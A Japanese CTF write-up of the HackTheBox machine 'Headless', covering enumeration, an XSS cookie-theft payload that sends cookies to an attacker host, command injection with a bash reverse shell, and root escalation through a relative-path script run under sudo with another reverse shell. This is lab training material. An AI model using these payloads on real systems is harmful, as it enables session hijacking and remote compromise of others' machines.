今回はHackTheBoxのEasyマシン「Headless」のWriteUpです!
頭がないという意味のマシンですが、一体どのような脆弱性があるのでしょうか。
グラフはいつものEasyマシンといった感じですね。
サクッと攻略目指して頑張ります!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Headless
列挙
それでは、攻略を始めていきましょう。
まずはnmap
を実行していきます。
+[~/Desktop/HackTheBox]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -n -v -sS -p- --min-rate=1000 -A 10.10.11.8
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Tue, 23 Jul 2024 15:00:33 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
22番と5000番がオープンしていました。
とりあえず5000番にブラウザでアクセスしてみましょう。
ウェブサイトへようこそというメッセージが表示されました。「For questions」というボタンがありますね。他には特に遷移が見えないので、ボタンを押下してみます。
メッセージ(質問)を送ることができるフォーム画面が表示されました。とりあえず適当に入力して、「Submit」を押下しましたが、画面表示は特に変わらないため、BurpSuiteでリクエストが送信されているか確認します。
一応リクエストは送信されているようですが、あまり情報は得られませんでした。
他に目に見える遷移はないので、ディレクトリ探索をしてみることにしました。ffuf
を実行します。
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://10.10.11.8:5000/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.8:5000/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
dashboard [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 436ms]
support [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 189ms]
:: Progress: [20476/20476] :: Job [1/1] :: 105 req/sec :: Duration: [0:03:15] :: Errors: 0 ::
新たに「/dashboard」を発見しました。ブラウザで確認してみます。
どうやら「/dashboard」へアクセスするためには、認証情報が必要であるみたいです。
XSS
なかなか情報が落ちないので、メッセージ送信画面でガチャガチャやっていると、以下のようなメッセージが出力されました。
私は、<h1>test</h1>
という値を入力し、送信しました。どうやら<>
がデータ中に入力されていると攻撃として検知されるようです。
ここで、注目するべき点は検知メッセージとともにヘッダーが出力されていることです。このヘッダーはメッセージを送信する際にリクエストとして送信するヘッダーです。つまり、この部分は制御できる出力となります。
試しに、HTB: Headless
というヘッダーを付与してヘッダー情報を出力させてみましょう。
ヘッダーが追加されていることがわかります。
制御できることがわかったので脆弱性の調査に入りましょう。制御できる出力でよくみられる脆弱性は「SSTI」と「XSS」です。「XSS」はHackTheBoxではなかなか採用されることがないので、「SSTI」からチェックしていきます。
ヘッダーに{{7*7}}
を入力し、リクエストを送信しましょう。
そのまま出力されているので、「SSTI」は発火しそうにありません。では「XSS」を試してみましょう。<script>alert(1)</script>
を入力し、リクエストを送信します。
アラートが表示され「XSS」に脆弱であることがわかりました!
問題はこれをどうやって侵入につなげるのかですが、「/dashboard」と「cookie」の存在から一つの攻撃パスを思いつきました。
先ほど、「/dashboard」へアクセスした際に「認証情報が必要であること」が原因でアクセスを制御されてしまいました。おそらく「認証情報」とは「認証に成功した後に発行されるCookie」だと仮定すると、メッセージ送信の際に送信されている「is_admin」という名前のCookieの値が管理者であることを示すもの(有効なもの)であれば認証に成功するのではないかと考えられます。そのため「XSS」を悪用して管理者のCookieを摂取することでWEBの権限昇格に繋がり、さらなる列挙へと進むことができそうです。
それでは実際にCookieの取得を試みます。ペイロードは以下のものを使用します。
<script> image = new Image(); image.src='http://10.10.14.8:8888/?'+document.cookie; </script>
リクエストを送信する前に、Kali側でHTTPサーバを起動しておきましょう。
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
準備ができたらリクエストを送信します
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.14.8 - - [29/Jul/2024 12:50:32] "GET /?is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs HTTP/1.1" 200 -
10.10.11.8 - - [29/Jul/2024 12:50:37] "GET /?is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
1つ目はペイロードを含んだリクエストのトークンですが、それとは異なるトークンを確認できました。
こちらのトークンを使用して、「/dashboard」へアクセスしてみましょう。
ダッシュボードへアクセスできました!
Command Injection
では、ダッシュボードを調べていきましょう。とりあえず「Generate Report」を押下してみます。
システムは稼働しているというメッセージが表示されました。それ以外に画面の変化はないので、リクエストを深堀ってみます。BurpSuiteで見てみましょう。
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://10.10.11.8:5000
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
date=2023-09-15
パラメータ名「date」に入力した値が指定されています。
この時点では、どのような脆弱性があるのか分かりませんが、日付を指定しレポートが作成されていることがわかるため、レポートを作成するようなコマンド実行されているのではと予想できます。コマンドが実行されている場合、コマンドインジェクションが発火する可能性があります。
それでは日付の後にセミコロン(;)とid
を追加しリクエストを送信してみましょう。
id
コマンドが実行されました!
dvir としてのシェル
コマンドインジェクションに脆弱であることがわかったので、シェルを取得しましょう。
まずは待ち受けを作成します。
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
待ち受けが作成できたら、以下のコマンドを日付の後に追加します。
;bash -c 'bash -i >& /dev/tcp/10.10.14.8/2121 0>&1'
追加できたら、リクエストを送信し、待ち受けを確認しましょう。
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.8] 53902
bash: cannot set terminal process group (1382): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ whoami
dvir
シェルの取得に成功しました!
dvir@headless:~$ ls -l
total 8
drwxr-xr-x 3 dvir dvir 4096 Feb 16 23:49 app
lrwxrwxrwx 1 dvir dvir 9 Feb 2 16:05 geckodriver.log -> /dev/null
-rw-r----- 1 root dvir 33 Aug 1 05:33 user.txt
ユーザフラグの取得もできました!
権限昇格
それではここから権限昇格を目指していきましょう!
まずは、sudo -l
を実行します。
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
どうやらsyscheck
というスクリプトをNOPASSWDで実行できるようです。
スクリプトの内容を確認してみましょう。
dvir@headless:~$ cat /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
コードからカーネルの最終更新時間やディスクスペース、システムの稼働時間などを取得するスクリプトであることがわかりました。
syscheck
という名前通りのスクリプトですが、コードの中に脆弱性があります。
それはなぜか相対パスで書かれている./initdb.sh
です。相対パスのため、実行するカレントディレクトリに任意の内容の./initdb.sh
を配置することで、任意のコマンドを実行させることが可能です。
root としてのシェル
では、脆弱性を悪用し権限を昇格させましょう。
ホームディレクトリ内に以下の内容のinitdb.sh
を作成します。
dvir@headless:~$ cat initdb.sh
bash -c 'bash -i >& /dev/tcp/10.10.14.8/2122 0>&1'
作成できたら実行権限を付与します。
dvir@headless:~$ chmod +x initdb.sh
リバースシェルを取得するための待ち受けも忘れずに。
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2122
listening on [any] 2122 ...
これで準備万端です!実行しましょう!
dvir@headless:~$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average: 0.00, 0.02, 0.00
Database service is not running. Starting it...
特にエラーは出てなさそうですね。待ち受けを確認してみましょう。
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2122
listening on [any] 2122 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.8] 35168
root@headless:/home/dvir# whoami
root
シェルを取得し、権限昇格に成功しました~!
root@headless:~# ls -l
ls -l
total 4
-rw-r----- 1 root root 33 Aug 1 05:33 root.txt
ルートフラグも取得し、完全攻略達成です!
攻略を終えて
今回のマシンはHackTheBoxでは珍しくXSSを悪用するものでした。XSSでCookieを取得してなりすます攻撃は好きなものだったので楽しかったです。それぞれの脆弱性はわかりやすく初心者の方にも強くおすすめできるマシンだなと思います。
個人的にはXSSを発火させる方法に感銘していました。どういうことかというと、今回普通のメッセージフォームにSSTIやXSSを発火させる文字列を入力すると、サーバが攻撃として検知し未然に防ぐ対策を行っていたと思います。しかし、その攻撃を検知した際に表示するヘッダーを自由に制御できたことで「XSSを検知させてXSSを発火させる」ことができました。こういった「一回検知した後の検知漏れ」は現実社会でも割とみられます。一度検知できたからといって気を緩めず最後までセキュリティ対策が届いているかを確実にチェックすることが重要ですね。
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!